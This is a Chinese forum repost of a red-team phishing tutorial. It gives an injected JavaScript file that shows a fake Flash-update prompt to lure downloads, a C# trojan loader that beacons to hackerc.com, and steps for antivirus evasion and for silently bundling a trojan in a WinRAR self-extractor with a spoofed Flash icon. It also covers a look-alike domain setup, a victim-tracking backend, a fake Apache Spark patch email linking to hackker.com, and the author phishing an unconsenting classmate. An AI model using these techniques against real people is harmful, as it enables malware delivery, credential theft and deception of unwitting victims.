安全矩阵

 找回密码
 立即注册
搜索
查看: 6689|回复: 0

红队攻防系列之花式鱼竿钓鱼篇

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-7-10 09:23:32 | 显示全部楼层 |阅读模式
红队攻防系列之花式鱼竿钓鱼篇

文章转自先知社区:https://xz.aliyun.com/t/7958

0x0 前言
  钓鱼的核心主要还是思路要骚。本文主要从一个完整的钓鱼流程进行讲解,记录下自己在学习这方面的知识时,如何将其有机结合起来,实现一个蓝队无感的钓鱼攻击流程,真正体验下如何从细节入手,将最危险的地方化为最安全的地方。

0x1 鱼钩隐藏
传统攻防的钓鱼扔黑不溜秋的exe,也没做什么进程迁移之类的动作,就算是个电脑小白也知道不正常,一下子就把你的程序给终结掉了,然后你也成功暴露了,之后蹲黑名单。
如何将鱼钩更好的隐藏呢?
这里我抛转引玉说几个点:
1.XSS
直接插入这个js文件即可
<script src="/hacked.js"></script>


hacked.js 需要注意下面这几个点
1.判断UA,电脑端才加载exe,android则加载apk
2.向后台API发送查询,是否上钩了,是的话不加载,不是的话加载
3.js一定要注意混淆和命名,采用原生ajax,兼容性会更好
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}

window.confirm = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
var result = window.frames[0].window.confirm(name);
iframe.parentNode.removeChild(iframe);
return result;
}

function isPc() {
    if (navigator.userAgent.match(/(iPhone|Android)/i)) {
        return false;
    } else {
        return true;
    }
}

function isRise() {
    var xmlHttp;
    if (window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest();
    } else {
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlHttp.open("GET", "http://101.200.157.195:8085/api.php?m=api&do=isExist", "true");
    xmlHttp.send();
    xmlHttp.onreadystatechange = function() {
        if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
            var resData = xmlHttp.responseText;
            if (resData == "ok") {
            } else {
                download();
            }
        }
    }
}

function download(){
    window.alert = function(name){var iframe = document.createElement("IFRAME");iframe.style.display="none";iframe.setAttribute("src", 'data:text/plain,');
    document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);};
    alert("您的FLASH版本过低,请尝试升级后访问该页面!");
    window.location.href="http://xxx/";
}

window.onload = function(){
    if(!isPc()){
        alert("当前页面只能在电脑PC端中加载,请稍后重试...");
    }else{
        isRise();
    }
}




2.钓鱼网站(比如flash)
我们需要去申请一个近似的域名https://www.freenom.com/zh/freeandpaiddomains.html
https://www.flash.cn/ 我们需要模拟就是这个网站
这里我选取的域名是:flash-cn.cf
下面我们只要简单伪造下钓鱼的地址就行了。
这里我用的是学生机,所以后面我用了一个香港主机做nginx的反向代理,一方面保护了自己,
一方面也能绕过备案。
下面我们就是直接搭建个钓鱼网站了。
把我们的木马改名为:flashplayerpp_install_cn.exe
然后放在我们建立的latest目录下。



然后放在docker下,我们以后需要做的就是
docker cp host_path containerID:/var/www/html/cn/


0x1.1 木马处理
这里需要注意木马要做好免杀,否则运行的时候就要被杀了。
免杀的方式很多,网上很多方法可以过360,这里笔者采用shellcode加密的方式能达到暂时绕过360(当然还有非常多的绕过方式,这些点最好自己挖掘一下,发出来的话一般很快就会和谐了,欢迎有师傅找我研究下。)
这里我们需要自己写一个加载器,封装感知函数放进加载器,这样木马如果真正加载的时候就会对我们的API发起请求,这样我们就能捕获到木马成功运行了。
using System;
using System.Net;
using System.Threading;

namespace testHttp
{
    class Program
    {
        static void Main(string[] args)
        {
            ThreadStart childref = new ThreadStart(sendLog);
            Thread childThread = new Thread(childref);
            childThread.Start();
        }

        public static void sendLog()
        {
            string url = "http://hackerc.com/api.php?m=api&do=myLogk";
            HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
            request.Method = "HEAD";
            request.Timeout = 100000;
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
        }
    }
}





然后我们把这个封装到木马里面即可。
基本能绕过360杀毒,成功发出感知请求,用window窗口方式编译,能实现无控制台提示静默执行。

0x1.2 隐蔽处理
这里主要是需要将我们的木马与正常程序去捆绑,这样用户执行恶意文件的时候其实我们的木马是在静默运行的,而用户执行正常的程序操作。
这里为了免杀效果更好,我选择了winrar自解压的方式去包装我们的木马。
首先我们需要准备好木马、正常程序和Restorator这个工具:
1.选中两个程序,然后添加到压缩文件,创建自解压


2.高级自解压选项,常规:解压路径 ——> 绝对路径:
路径写C:\windows\temp
3.高级自解压选项->安装
C:\windows\temp\选中的木马名C:\windows\temp\选中的程序名

4.高级自解压选项->模式
静默模式->隐藏所有
5.高级自解压选项->更新
更新模式->解压并更新
覆盖模式->覆盖所有文件
6.确定


执行一下,发现达到了效果,在这里我们还需要做一些细节的伪装.
Restorator 将压缩后的程序图标替换为flashplayer_install_cn的图标,然后名字也改为
flashplayer_install_cn.exe


基本能仿照的非常像。

0x2 鱼竿感知
鱼竿感知系统其实非常重要,比如鱼儿上钩,你还一直弹窗,这样是个小白也能知道不正常。那么如何做好一个简单的感知系统呢?其实非常简单,这里我丢一个简单的demo,实际上它是可以写成一个框架的(这个先不考虑放出来)
这里我采用了PHP + MYSQL的方式
首先新建个表fish
表设计:
[td]
字段类型说明
idint主键
ipvarchar来源ip
uavarchar来源UA
countint点击次数
statusvarchar当前状态
SQL数据库语句:
DROP DATABASE IF EXISTS  fishperception;CREATE DATABASE fishperception;USE fishperception;DROP TABLE IF EXISTS fish;CREATE TABLE fish(    `id` INT AUTO_INCREMENT,    `ip` VARCHAR(200) DEFAULT  NULL,    `ua` VARCHAR(255) DEFAULT  NULL,    `count` INT DEFAULT NULL,    `status` VARCHAR(10) DEFAULT NULL,    primary key(`id`));

后端的简单记录Demo:


提供了几个API:
api.php?m=api&do=myLog  // 这个是木马执行时候请求写入的apiapi.php?m=api&do=isExist //这个用来js判断是否已经上线的,已经上线则不执行操作

提供了一个基本简单的管理demo:

如果还想继续钓鱼某个IP或者某IP掉线的话,可以登录后台删除这个记录,这样就能继续针对某个特定ip进行钓鱼。
为了随时转移和方便,我们可以用docker来实现一键部署感知系统。
基于lamp的docker环境可以快速搭建。
scp -r docker-lamp-ok root@X.X.X.X:/root/
然后服务器里面:
docker-compose up --build
然后运行起来了,然后配置flash-cn.cf的nginx代理,转发我们的钓鱼内容。
cd /etc/nginx/conf.d
编辑一个Server
server{    listen 80;    server_name flash-cn.cf;    location / {        proxy_redirect off;        proxy_set_header Host $host;        proxy_set_header X-Real-Ip $remote_addr;        proxy_set_header X-Forwarded-For $remote_addr;        proxy_pass http://139.159.x.x:8005;        }}


然后systemctl restart nginx即可

0x3 选择水域
比较常用方式如传统的邮箱打点、dns劫持欺骗等方式
其实生活中有非常多攻击点(主要是人们总是自信地认为黑客不会在他们的身边)
班级群里面、教师群等社交关系群里面,本身具备了高信任的特点,所以制作点热点话题,打开一个URL并不是什么难事。
还有供应链打击、物理社工等...
这里笔者还是比较喜欢传统的邮箱钓鱼吧,它在发挥小型目标hw行动的时候,是非常好用的。

0x3.1 邮箱钓鱼思路
基于邮箱的钓鱼,有人说它比较老套了,其实不然,笔者在后渗透的项目经历中发现,其实邮箱钓鱼的攻击面比较广泛,掌握好切入点,巧学活用能发挥比较巨大的作用(切忌一大批的发垃圾邮件信息)。
1.可信邮箱
可信邮箱邮箱选取优先选择同单位下的域名邮箱,再者可以选择一些高权的邮箱比如gov等之类的。
笔者对某学校做过定向的渗透打击,通过OA来提取出某领导的邮箱账号密码,后面通过伪造工作邮件+附件信息,基本一打一个准。
2.针对性发送
最好根据组织结构,挑选一些中间人来进行打击,切记大量发送,引起别人警觉。
3.邮箱内容
这里我说下比较常用的就是伪造漏洞补丁。
这里就涉及到一些钓鱼模板的使用了。
这里举一个简单的例子,实际上要针对业务和对象来选择合适的模板。

一、漏洞情况分析
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Apache Spark 是一种与 Hadoop 相似的开源集群计算环境,启用了内存分布数据集,除了能够提供交互式查询外,它还可以优化迭代工作负载。Apache Spark 是在 Scala 语言中实现的,它将 Scala 用作其应用程序框架。
2020年6月23日,国家信息安全漏洞共享平台(CNVD)收录了由杭州安恒信息技术股份有限公司报送的Apache Spark远程代码执行漏洞。由于Spark的认证机制存在缺陷,导致共享密钥认证失效。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的过程调用指令,启动Spark集群上的应用程序资源,获得目标服务器的权限,实现远程代码执行。
CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围
漏洞影响的产品版本包括:
Apache Spark < =2.4.5

三、漏洞处置建议目前,Apache官方已发布新版本修复此漏洞,建议用户立即升级至最新版本:https://hackker.com/360/xx.zip

4.SPF配置不当导致邮件伪造
SPF:
SPF(Sender Policy Framework) 发送策略框架,是一种以IP地址认证电子邮件发件人的身份的技术,是为防范垃圾邮件而提出来的一种DNS记录类型,他是一种TXT类型的记录。接收邮件方会首先检查域名的SPF记录,来确定发件人的IP地址是否合法。
如果SPF没配置的话,那么任何人都可以像邮件服务器自定义内容发送邮件,这样就会导致邮件伪造。(邮件的中转是通过SMTP协议的)
如何检测是否存在这种漏洞
1.通过在线网站 https://emkei.cz/ 去测试是否能发送成功
2.手工测试(比较方便,个人比较常用)
nslookup -type=txt domain

这样就说明不存在漏洞。
这样就说明没配置SPF。
关于这个漏洞利用可以放在下回细讲,简单利用可以参考一个工具:
Swaks

0x4 实战效果
上面说的只是一些点,真正的攻击是需要自己针对目标定制一套适用的钓鱼方式的。
这里提了提高成功率,我选取了我们班某位MM同学作为测试,首先通过一些话语让她产生好奇心

然后制作一个类似的求爱视频的网站给她:


后面通过发送网址给她:
中间还是出现了一些问题:


最后我做了一些迂回, 比如吐槽之类的,给MM造成心理压迫:


最后MM还是成功打开了,然后询问我为什么视频还没有成功加载,也没有提示版本过低。。。。
到了这里我觉得是时候跟MM坦白了。
最后看下@MM 对我的评价:




0x5 总结
  这里笔者钓鱼采取了比较激进的直接获取客户机权限的方式,其实针对无感攻击比较简单还是社交网络的画像提取,这样我们不仅可以轻松掌握大量网络体系信息和员工习惯,还可以进行成功率更高的定向打击。钓鱼是一门巧活细活,博弈性比较强,但是攻击性让人防不胜防,希望有研究这方面的大佬可以带带我这个小萌新,想跟师傅们学习各种骚姿势,认识更多场景,去完善我的钓鱼框架(因为目前很多特殊情况没考虑,比如直接被杀软杀了木马,那么也会暴露,感觉攻防对抗真的错综复杂,希望APT大佬能拉我这个菜鸡进小密圈)。


0x6 参考链接
阿里白帽大会-红队的踩”坑”之路总结-Wing
记一次真实的邮件钓鱼演练
关于邮件伪造的一些新思路
Flash水坑钓鱼)






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:52 , Processed in 0.014864 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表